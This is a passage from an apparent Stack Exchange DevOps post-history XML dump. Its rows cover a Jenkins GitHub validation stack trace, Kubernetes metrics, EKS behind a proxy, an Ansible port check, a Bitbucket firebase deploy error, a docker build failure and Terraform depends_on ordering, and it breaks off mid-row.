  <row Id="38611" PostHistoryTypeId="5" PostId="12573" RevisionGUID="804ad391-4ee7-461f-9691-e02755da7c33" CreationDate="2020-10-13T16:58:23.790" UserId="24315" Comment="added 8794 characters in body" Text="This is the error shown in UI&#xD;&#xA;```&#xD;&#xA;Error validating repository information. Credentials ok.&#xD;&#xA;java.io.FileNotFoundException: https://api.github.com/repos/xxxxx/xxxxxxxx&#xD;&#xA;	at org.kohsuke.github.extras.okhttp3.ObsoleteUrlFactory$OkHttpURLConnection.getInputStream(ObsoleteUrlFactory.java:488)&#xD;&#xA;	at org.kohsuke.github.extras.okhttp3.ObsoleteUrlFactory$DelegatingHttpsURLConnection.getInputStream(ObsoleteUrlFactory.java:1201)&#xD;&#xA;	at org.kohsuke.github.GitHubHttpUrlConnectionClient$HttpURLConnectionResponseInfo.bodyStream(GitHubHttpUrlConnectionClient.java:197)&#xD;&#xA;	at org.kohsuke.github.GitHubResponse$ResponseInfo.getBodyAsString(GitHubResponse.java:326)&#xD;&#xA;	at org.kohsuke.github.GitHubResponse.parseBody(GitHubResponse.java:91)&#xD;&#xA;	at org.kohsuke.github.Requester.lambda$fetch$1(Requester.java:74)&#xD;&#xA;	at org.kohsuke.github.GitHubClient.createResponse(GitHubClient.java:461)&#xD;&#xA;	at org.kohsuke.github.GitHubClient.sendRequest(GitHubClient.java:412)&#xD;&#xA;Caused: org.kohsuke.github.GHFileNotFoundException: https://api.github.com/repos/xxxxx/xxxxxxxx {&quot;message&quot;:&quot;Not Found&quot;,&quot;documentation_url&quot;:&quot;https://docs.github.com/rest/reference/repos#get-a-repository&quot;}&#xD;&#xA;	at org.kohsuke.github.GitHubClient.interpretApiError(GitHubClient.java:492)&#xD;&#xA;	at org.kohsuke.github.GitHubClient.sendRequest(GitHubClient.java:420)&#xD;&#xA;	at org.kohsuke.github.GitHubClient.sendRequest(GitHubClient.java:363)&#xD;&#xA;	at org.kohsuke.github.Requester.fetch(Requester.java:74)&#xD;&#xA;	at org.kohsuke.github.GHRepository.read(GHRepository.java:117)&#xD;&#xA;	at org.kohsuke.github.GitHub.getRepository(GitHub.java:549)&#xD;&#xA;	at org.jenkinsci.plugins.github_branch_source.GitHubSCMSource$DescriptorImpl.doValidateRepositoryUrlAndCredentials(GitHubSCMSource.java:2033)&#xD;&#xA;	at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:710)&#xD;&#xA;	at org.kohsuke.stapler.Function$MethodFunction.invoke(Function.java:396)&#xD;&#xA;	at org.kohsuke.stapler.Function$InstanceFunction.invoke(Function.java:408)&#xD;&#xA;	at org.kohsuke.stapler.interceptor.RequirePOST$Processor.invoke(RequirePOST.java:77)&#xD;&#xA;	at org.kohsuke.stapler.PreInvokeInterceptedFunction.invoke(PreInvokeInterceptedFunction.java:26)&#xD;&#xA;	at org.kohsuke.stapler.Function.bindAndInvoke(Function.java:212)&#xD;&#xA;	at org.kohsuke.stapler.Function.bindAndInvokeAndServeResponse(Function.java:145)&#xD;&#xA;	at org.kohsuke.stapler.MetaClass$11.doDispatch(MetaClass.java:536)&#xD;&#xA;	at org.kohsuke.stapler.NameBasedDispatcher.dispatch(NameBasedDispatcher.java:58)&#xD;&#xA;	at org.kohsuke.stapler.Stapler.tryInvoke(Stapler.java:766)&#xD;&#xA;	at org.kohsuke.stapler.Stapler.invoke(Stapler.java:898)&#xD;&#xA;	at org.kohsuke.stapler.MetaClass$4.doDispatch(MetaClass.java:281)&#xD;&#xA;	at org.kohsuke.stapler.NameBasedDispatcher.dispatch(NameBasedDispatcher.java:58)&#xD;&#xA;	at org.kohsuke.stapler.Stapler.tryInvoke(Stapler.java:766)&#xD;&#xA;	at org.kohsuke.stapler.Stapler.invoke(Stapler.java:898)&#xD;&#xA;	at org.kohsuke.stapler.MetaClass$4.doDispatch(MetaClass.java:281)&#xD;&#xA;	at org.kohsuke.stapler.NameBasedDispatcher.dispatch(NameBasedDispatcher.java:58)&#xD;&#xA;	at org.kohsuke.stapler.Stapler.tryInvoke(Stapler.java:766)&#xD;&#xA;	at org.kohsuke.stapler.Stapler.invoke(Stapler.java:898)&#xD;&#xA;	at org.kohsuke.stapler.Stapler.invoke(Stapler.java:694)&#xD;&#xA;	at org.kohsuke.stapler.Stapler.service(Stapler.java:240)&#xD;&#xA;	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:763)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1631)&#xD;&#xA;	at hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:154)&#xD;&#xA;	at org.jenkinsci.plugins.ssegateway.Endpoint$SSEListenChannelFilter.doFilter(Endpoint.java:248)&#xD;&#xA;	at hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:151)&#xD;&#xA;	at jenkins.telemetry.impl.UserLanguages$AcceptLanguageFilter.doFilter(UserLanguages.java:129)&#xD;&#xA;	at hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:151)&#xD;&#xA;	at jenkins.security.ResourceDomainFilter.doFilter(ResourceDomainFilter.java:76)&#xD;&#xA;	at hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:151)&#xD;&#xA;	at com.atlassian.bitbucket.jenkins.internal.applink.oauth.serviceprovider.auth.OAuth1aRequestFilter.doFilter(OAuth1aRequestFilter.java:109)&#xD;&#xA;	at hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:151)&#xD;&#xA;	at io.jenkins.blueocean.ResourceCacheControl.doFilter(ResourceCacheControl.java:134)&#xD;&#xA;	at hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:151)&#xD;&#xA;	at io.jenkins.blueocean.auth.jwt.impl.JwtAuthenticationFilter.doFilter(JwtAuthenticationFilter.java:60)&#xD;&#xA;	at hudson.util.PluginServletFilter$1.doFilter(PluginServletFilter.java:151)&#xD;&#xA;	at hudson.util.PluginServletFilter.doFilter(PluginServletFilter.java:157)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1618)&#xD;&#xA;	at hudson.security.csrf.CrumbFilter.doFilter(CrumbFilter.java:153)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1618)&#xD;&#xA;	at hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:84)&#xD;&#xA;	at hudson.security.UnwrapSecurityExceptionFilter.doFilter(UnwrapSecurityExceptionFilter.java:51)&#xD;&#xA;	at hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)&#xD;&#xA;	at jenkins.security.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:119)&#xD;&#xA;	at hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)&#xD;&#xA;	at org.acegisecurity.providers.anonymous.AnonymousProcessingFilter.doFilter(AnonymousProcessingFilter.java:125)&#xD;&#xA;	at hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)&#xD;&#xA;	at org.acegisecurity.ui.rememberme.RememberMeProcessingFilter.doFilter(RememberMeProcessingFilter.java:142)&#xD;&#xA;	at hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)&#xD;&#xA;	at org.acegisecurity.ui.AbstractProcessingFilter.doFilter(AbstractProcessingFilter.java:271)&#xD;&#xA;	at hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)&#xD;&#xA;	at jenkins.security.BasicHeaderProcessor.doFilter(BasicHeaderProcessor.java:93)&#xD;&#xA;	at hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)&#xD;&#xA;	at org.acegisecurity.context.HttpSessionContextIntegrationFilter.doFilter(HttpSessionContextIntegrationFilter.java:249)&#xD;&#xA;	at hudson.security.HttpSessionContextIntegrationFilter2.doFilter(HttpSessionContextIntegrationFilter2.java:67)&#xD;&#xA;	at hudson.security.ChainedServletFilter$1.doFilter(ChainedServletFilter.java:87)&#xD;&#xA;	at hudson.security.ChainedServletFilter.doFilter(ChainedServletFilter.java:90)&#xD;&#xA;	at hudson.security.HudsonFilter.doFilter(HudsonFilter.java:171)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1618)&#xD;&#xA;	at org.kohsuke.stapler.compression.CompressionFilter.doFilter(CompressionFilter.java:51)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1618)&#xD;&#xA;	at hudson.util.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:82)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1618)&#xD;&#xA;	at org.kohsuke.stapler.DiagnosticThreadNameFilter.doFilter(DiagnosticThreadNameFilter.java:30)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1618)&#xD;&#xA;	at jenkins.security.SuspiciousRequestFilter.doFilter(SuspiciousRequestFilter.java:36)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1618)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:549)&#xD;&#xA;	at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)&#xD;&#xA;	at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:578)&#xD;&#xA;	at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)&#xD;&#xA;	at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235)&#xD;&#xA;	at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1610)&#xD;&#xA;	at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)&#xD;&#xA;	at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1369)&#xD;&#xA;	at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)&#xD;&#xA;	at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:489)&#xD;&#xA;	at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1580)&#xD;&#xA;	at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)&#xD;&#xA;	at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1284)&#xD;&#xA;	at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)&#xD;&#xA;	at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)&#xD;&#xA;	at org.eclipse.jetty.server.Server.handle(Server.java:501)&#xD;&#xA;	at org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:383)&#xD;&#xA;	at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:556)&#xD;&#xA;	at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:375)&#xD;&#xA;	at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:272)&#xD;&#xA;	at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)&#xD;&#xA;	at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:103)&#xD;&#xA;	at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)&#xD;&#xA;	at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:336)&#xD;&#xA;	at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:313)&#xD;&#xA;	at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:171)&#xD;&#xA;	at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:129)&#xD;&#xA;	at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:375)&#xD;&#xA;	at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:806)&#xD;&#xA;	at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:938)&#xD;&#xA;	at java.base/java.lang.Thread.run(Thread.java:834)&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38612" PostHistoryTypeId="50" PostId="12209" RevisionGUID="19357440-1b22-4c35-9c46-c705c40467e3" CreationDate="2020-10-14T10:02:35.263" UserId="-1" />
  <row Id="38613" PostHistoryTypeId="2" PostId="12574" RevisionGUID="257e5400-b0a4-4bfa-b0ef-81708c666ea6" CreationDate="2020-10-14T11:18:45.943" UserId="24322" Text="Can anyone help me to understand that how do I manage the MySQL database revisions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38614" PostHistoryTypeId="1" PostId="12574" RevisionGUID="257e5400-b0a4-4bfa-b0ef-81708c666ea6" CreationDate="2020-10-14T11:18:45.943" UserId="24322" Text="How to manage MySQL database versioning/revisions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38615" PostHistoryTypeId="3" PostId="12574" RevisionGUID="257e5400-b0a4-4bfa-b0ef-81708c666ea6" CreationDate="2020-10-14T11:18:45.943" UserId="24322" Text="&lt;databases&gt;&lt;mysql&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38616" PostHistoryTypeId="2" PostId="12575" RevisionGUID="6af8013e-1a19-4560-968c-11bcd4c375c8" CreationDate="2020-10-14T14:53:40.757" UserId="677" Text="Technically I guess something like this would print out any branchs between any particular branch and your master branch:&#xD;&#xA;&#xD;&#xA;    for hash in $(git log --format=%h master..); do if git branch --contains=$hash | grep -qv $(git name-rev HEAD | sed -e 's#HEAD ##g'); then git branch --contains=$hash | grep -v $(git name-rev HEAD | sed -e 's#HEAD ##g'); fi; done&#xD;&#xA;&#xD;&#xA;But fundamentally there is probably an underlying problem here, I'm not intimate with your work flow or the teams you work with, but it seems unlikely to me that developers would accidentally create a new feature branch rooted on another feature branch unless they actually wanted some of the code in that other feature branch, perhaps to reuse in delivering whatever the new feature might be.&#xD;&#xA;&#xD;&#xA;It seems that you might make a lot of improvement to your process quite quickly and easily by simply ensuring that the all features that are currently being worked on to completion are included in the next release and thus cN be merged into a pre-release branch as soon as they are approved. From there any branch taken from that pre-release branch should only contain features intended to be released,but it would mean that if a developer wrote code they thought was applicable to more than one problem,then they would almost immediately be able to reuse it once merged.&#xD;&#xA;&#xD;&#xA;Although I'm not entirely sure that I've understood the issue you are facing, it seems to me that the existence of code in two branches isn't actually a problem, it's just code reuse. If one of those branches is pulled from the release then that's fine, the code that is being reused would still need to stay?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38617" PostHistoryTypeId="2" PostId="12576" RevisionGUID="0776eb1e-c80e-4785-a7c0-a33e0c842fe3" CreationDate="2020-10-14T19:07:24.843" UserId="24329" Text="I would like to know if a) Zabbix can be configured to trigger JVM thread dump for a Java process it is monitoring via JMX? b) If it cannot, then can Zabbix trigger JMX operations? (that would allow me to build in the thread dump generation as part of my application and expose it as a JMX operation)&#xD;&#xA;&#xD;&#xA;My understanding of Zabbix is not deep, but based on quick google searches, it appears that it has support for monitoring JMX metrics... but I found nothing on JVM thread dump generation." ContentLicense="CC BY-SA 4.0" />
  <row Id="38618" PostHistoryTypeId="1" PostId="12576" RevisionGUID="0776eb1e-c80e-4785-a7c0-a33e0c842fe3" CreationDate="2020-10-14T19:07:24.843" UserId="24329" Text="Can Zabbix generate JVM thread dumps via JMX for monitored Java process" ContentLicense="CC BY-SA 4.0" />
  <row Id="38619" PostHistoryTypeId="3" PostId="12576" RevisionGUID="0776eb1e-c80e-4785-a7c0-a33e0c842fe3" CreationDate="2020-10-14T19:07:24.843" UserId="24329" Text="&lt;java&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38627" PostHistoryTypeId="2" PostId="12579" RevisionGUID="6886de57-e050-456a-8120-64855ae7e406" CreationDate="2020-10-15T14:05:36.857" UserId="17329" Text="micrometer exposing actuator metrics to set request/limit to pods in K8svs metrics-server vs kube-state-metrics -&gt; K8s Mixin from kube-promethteus-stack Grafana dashboad&#xD;&#xA;It's really blurry and frustrating to me to understand why there is such big difference between values from the 3 in the title and how should one utilize K8s Mixin to set proper request/limits and if that is expected at al.&#xD;&#xA;I was hoping I can just see same data that I see when I type kubectl top podname --containers to what I see when I open K8s -&gt; ComputeResources -&gt; Pods dashboard in Grafana. But not only the values differ by more than a double, but also reported values from actuator differ from both.&#xD;&#xA;When exposing spring data with micrometer the sum of jvm_memory_used_bytes is corresponding more to what I get from metrics-server (0.37.0) rather then what I see on Grafana from the mixin dashboards, but it is still far off.&#xD;&#xA;I am using K8s: 1.14.3 on Ubuntu 18.04 LTS managed by kubespray.&#xD;&#xA;kube-prometheus-stack 9.4.4 installed with helm 2.14.3.&#xD;&#xA;Spring boot 2.0 with Micrometer. I saw the explanation on metrics-server git that this is the value that kubelet use for OOMKill, but again this is not helpful at all as what should I do with the dashboard? What is the the way to handle this?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/aVzeS.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/elHG4.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/m1DZm.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38628" PostHistoryTypeId="1" PostId="12579" RevisionGUID="6886de57-e050-456a-8120-64855ae7e406" CreationDate="2020-10-15T14:05:36.857" UserId="17329" Text="micrometer exposing actuator metrics vs kube-state-metrics vs metrics-server to set pod request/limits" ContentLicense="CC BY-SA 4.0" />
  <row Id="38629" PostHistoryTypeId="3" PostId="12579" RevisionGUID="6886de57-e050-456a-8120-64855ae7e406" CreationDate="2020-10-15T14:05:36.857" UserId="17329" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;java&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38634" PostHistoryTypeId="2" PostId="12581" RevisionGUID="f231d4dc-1434-401a-bb41-1ff21d0ed75c" CreationDate="2020-10-15T15:17:52.810" UserId="17329" Text="Based on what I see so far, I have found the root cause, renamed kubelet service from old chart to new that can get targeted by serviceMonitors. So for me the best solution would be grafana kube-state-metrics + comparing what I see in the jvm dashboard" ContentLicense="CC BY-SA 4.0" />
  <row Id="38635" PostHistoryTypeId="2" PostId="12582" RevisionGUID="285aea86-4642-4bbd-96a2-f62374e6f776" CreationDate="2020-10-15T16:46:13.183" UserId="24337" Text="I have built a private EKS cluster, im now going through the motions of trying to attach a Managed Node group to the cluster using Terraform.&#xD;&#xA;&#xD;&#xA;Looking through lots of resource the Node group required internet access to connect to the cluster endpoint. AWS have recently added the ability for launch templates on node. I have tried this though and have been unsuccessful thus far.&#xD;&#xA;&#xD;&#xA;My questions really is around the proxy configuration side. I do not wish for the nodes to have permanent access to the internet through the proxy. Yes, I could in theory block the access outside the node group after they are built, but this is not ideal.&#xD;&#xA;&#xD;&#xA;Is it possible to setup a private endpoint for the EKS cluster to allow the node group to connect to that? What other options do I have to get these to register?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="38636" PostHistoryTypeId="1" PostId="12582" RevisionGUID="285aea86-4642-4bbd-96a2-f62374e6f776" CreationDate="2020-10-15T16:46:13.183" UserId="24337" Text="Private EKS behind corporate Proxy - with Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="38637" PostHistoryTypeId="3" PostId="12582" RevisionGUID="285aea86-4642-4bbd-96a2-f62374e6f776" CreationDate="2020-10-15T16:46:13.183" UserId="24337" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;terraform&gt;&lt;networking&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38638" PostHistoryTypeId="2" PostId="12583" RevisionGUID="21054b9b-3a9d-4a08-8e71-7cc4441867e9" CreationDate="2020-10-15T18:29:27.803" UserId="24338" Text="Amazon has released a [Cognito User Profiles Export Reference Architecture][1] for exporting/importing users from a user pool. There are [limitations][2]:&#xD;&#xA;&#xD;&#xA; - Passwords not backed up; users will need to reset&#xD;&#xA; - Pools using MFA are not supported&#xD;&#xA; - Cognito sub attributes will be new, so if the system depends on them, they need to be copied to a custom user attribute&#xD;&#xA; - Federated users also pose challenges wrt sub&#xD;&#xA; - Advanced security - no user history is exported&#xD;&#xA; - No support for pools that allow the option of either phone or email usernames&#xD;&#xA; - No support for tracked devices&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/solutions/latest/cognito-user-profiles-export-reference-architecture/welcome.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/solutions/latest/cognito-user-profiles-export-reference-architecture/solution-components.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38639" PostHistoryTypeId="2" PostId="12584" RevisionGUID="f62b9cce-225b-4ccb-9d35-f8c071db5d28" CreationDate="2020-10-15T20:49:28.277" UserId="24170" Text="The solution I found in the end is to just create a blank new project, add that to your git remotes and then push to it.&#xD;&#xA;&#xD;&#xA;You will have to manually carry over your Issues and probably some other stuff as well. Note that issues can be exported and imported as well, but they loose their comments in the process." ContentLicense="CC BY-SA 4.0" />
  <row Id="38640" PostHistoryTypeId="5" PostId="1664" RevisionGUID="d27dec81-cb0e-4224-ae67-0143b0f30fc1" CreationDate="2020-10-16T06:32:18.853" UserId="24342" Comment="The old link to docs no longer works, update with the new link" Text="You can use the Ansible [wait_for](https://docs.ansible.com/ansible/latest/collections/ansible/builtin/wait_for_module.html) module which checks a specific TCP port is open.  &#xD;&#xA;&#xD;&#xA;Since in this case, all ports should be open already, we can use a minimal no. of retries, just enough to cover network issues:&#xD;&#xA;&#xD;&#xA;    - name: Check all port numbers are accessible from the current host&#xD;&#xA;      wait_for:&#xD;&#xA;        host: mywebserver.com&#xD;&#xA;        port: &quot;{{ item }}&quot;&#xD;&#xA;        state: started         # Port should be open&#xD;&#xA;        delay: 0               # No wait before first check (sec)&#xD;&#xA;        timeout: 3             # Stop checking after timeout (sec)&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - 443&#xD;&#xA;        - 80&#xD;&#xA;        - 80443&#xD;&#xA;&#xD;&#xA;By default, Ansible will check once every second (configurable in Ansible 2.3 using the `sleep` attribute), so this will check 3 times per port.&#xD;&#xA;&#xD;&#xA;Run this in a playbook against your inventory of 400+ hosts - Ansible will check in parallel that all hosts can reach `mywebserver.com` on those ports.&#xD;&#xA;&#xD;&#xA;- the parallelism is subject to the [forks setting](http://docs.ansible.com/ansible/latest/intro_configuration.html#forks) in your `ansible.cfg`. &#xD;&#xA;&#xD;&#xA;We use `ignore_errors: yes` here so that any errors are marked in red but do not stop execution.  &#xD;&#xA;&#xD;&#xA;Open ports are reported as `ok` items in output and closed ports are reported as `failed` (you must use `-vv` flag on `ansible-playbook` to see this output).&#xD;&#xA;&#xD;&#xA;### Fine-tuning output&#xD;&#xA;&#xD;&#xA;If you want more specific output for the success and failure cases, the code must be more complex, adding a second task:&#xD;&#xA;&#xD;&#xA;- `wait_for` task must `register` a variable&#xD;&#xA;-  the second task produces output using `debug` based on success/failure condition (e.g. using Jinja2 [conditional expression](https://stackoverflow.com/a/14215034/992887))&#xD;&#xA;- then you need to put both these tasks in an include file (without any `with_items` loop), and write a main playbook task that uses an `include` ... `with_items` to call the include file once per port.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38641" PostHistoryTypeId="24" PostId="1664" RevisionGUID="d27dec81-cb0e-4224-ae67-0143b0f30fc1" CreationDate="2020-10-16T06:32:18.853" Comment="Proposed by 24342 approved by 519 edit id of 1285" ContentLicense="CC BY-SA 4.0" />
  <row Id="38642" PostHistoryTypeId="2" PostId="12585" RevisionGUID="3a95558f-08fc-4bb7-858c-f7c08151728c" CreationDate="2020-10-16T08:59:04.473" UserId="19900" Text="I have multiple repos on Bitbucket, with pipelines included.&#xD;&#xA;One of these pipelines which is there to build and deploy a ReactJs app, eventually started showing an error on the following steps.&#xD;&#xA;&#xD;&#xA;    + firebase deploy -m $(git describe) --token &quot;$FIREBASE_TOKEN&quot;&#xD;&#xA;    fatal: No names found, cannot describe anything.&#xD;&#xA;    error: option '-m, --message &lt;message&gt;' argument missing&#xD;&#xA;&#xD;&#xA;So it seems the git describe variable is not been output as a message to the command, am I right?&#xD;&#xA;or is there any other issue one may see fit? and please guide what would fix it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38643" PostHistoryTypeId="1" PostId="12585" RevisionGUID="3a95558f-08fc-4bb7-858c-f7c08151728c" CreationDate="2020-10-16T08:59:04.473" UserId="19900" Text="Bitbucket Pipeline showing errors at firebase step" ContentLicense="CC BY-SA 4.0" />
  <row Id="38644" PostHistoryTypeId="3" PostId="12585" RevisionGUID="3a95558f-08fc-4bb7-858c-f7c08151728c" CreationDate="2020-10-16T08:59:04.473" UserId="19900" Text="&lt;bitbucket&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38645" PostHistoryTypeId="2" PostId="12586" RevisionGUID="ef76f007-4f56-4b1b-98db-f77f58feaadd" CreationDate="2020-10-16T09:49:07.353" UserId="16456" Text="On my own machine (Windows 10, Docker Desktop 2.1.0.3) the build succeeds and runs.&#xD;&#xA;On another machine (Ubuntu 18.04, docker CE 19.03.13) the build fails with the error shown.&#xD;&#xA;&#xD;&#xA;Why does the build work on one machine but fail another? &#xD;&#xA;&#xD;&#xA;dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:latest AS toolchain&#xD;&#xA;ENV DEBIAN_FRONTEND=noninteractive&#xD;&#xA;RUN apt-get update &amp;&amp; apt-get install -y \&#xD;&#xA;  build-essential \&#xD;&#xA;  g++-5&#xD;&#xA;```&#xD;&#xA;error:&#xD;&#xA;```&#xD;&#xA;Package g++-5 is not available, but is referred to by another package.&#xD;&#xA;This may mean that the package is missing, has been obsoleted, or&#xD;&#xA;is only available from another source&#xD;&#xA;However the following packages replace it:&#xD;&#xA;  gcc-10-test-results gcc-9-test-results gcc-8-test-results gcc-7-test-results&#xD;&#xA;&#xD;&#xA;Package 'g++-5' has no installation candidate&#xD;&#xA;The command '/bin/sh -c apt-get update &amp;&amp; apt-get install -y   build-essential   g++-5' returned a non-zero code: 100&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38646" PostHistoryTypeId="1" PostId="12586" RevisionGUID="ef76f007-4f56-4b1b-98db-f77f58feaadd" CreationDate="2020-10-16T09:49:07.353" UserId="16456" Text="docker build fails on one machine but succeeds on another" ContentLicense="CC BY-SA 4.0" />
  <row Id="38647" PostHistoryTypeId="3" PostId="12586" RevisionGUID="ef76f007-4f56-4b1b-98db-f77f58feaadd" CreationDate="2020-10-16T09:49:07.353" UserId="16456" Text="&lt;docker&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38650" PostHistoryTypeId="2" PostId="12587" RevisionGUID="0e5c9f1a-073c-4493-86bc-143b56cf9841" CreationDate="2020-10-16T12:39:17.400" UserId="24345" Text="Summary: `depends_on` of Terraform works fine, BUT when I have an incremental update with new resources going in-between then it causes the new resources to run in parallel (which will NOT if I run it from scratch)&#xD;&#xA;&#xD;&#xA;Example Terraform (Run 1) **Works fine**&#xD;&#xA;```&#xD;&#xA;resource &quot;null_resource&quot; &quot;one&quot; {&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;NAME='one'; echo $NAME; sleep 1; echo $NAME; sleep 1; echo $NAME; sleep 1;&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;two&quot; {&#xD;&#xA;  depends_on = [null_resource.one]&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;NAME='one'; echo $NAME; sleep 1; echo $NAME; sleep 1; echo $NAME; sleep 1;&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Example Terraform (Run 2)&#xD;&#xA;&#xD;&#xA;**Problem**: `before_one` and `after_two` are getting started in parallel :(&#xD;&#xA;&#xD;&#xA;**Expected Flow**: complete `before_one` and then start `after_two`&#xD;&#xA;```&#xD;&#xA;resource &quot;null_resource&quot; &quot;before_one&quot; {&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;NAME='before_one'; echo $NAME; sleep 1; echo $NAME; sleep 1; echo $NAME; sleep 1;&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;one&quot; {&#xD;&#xA;  depends_on = [null_resource.before_one]&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;NAME='one'; echo $NAME; sleep 1; echo $NAME; sleep 1; echo $NAME; sleep 1;&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;two&quot; {&#xD;&#xA;  depends_on = [null_resource.one]&#xD;&#xA;  provisioner 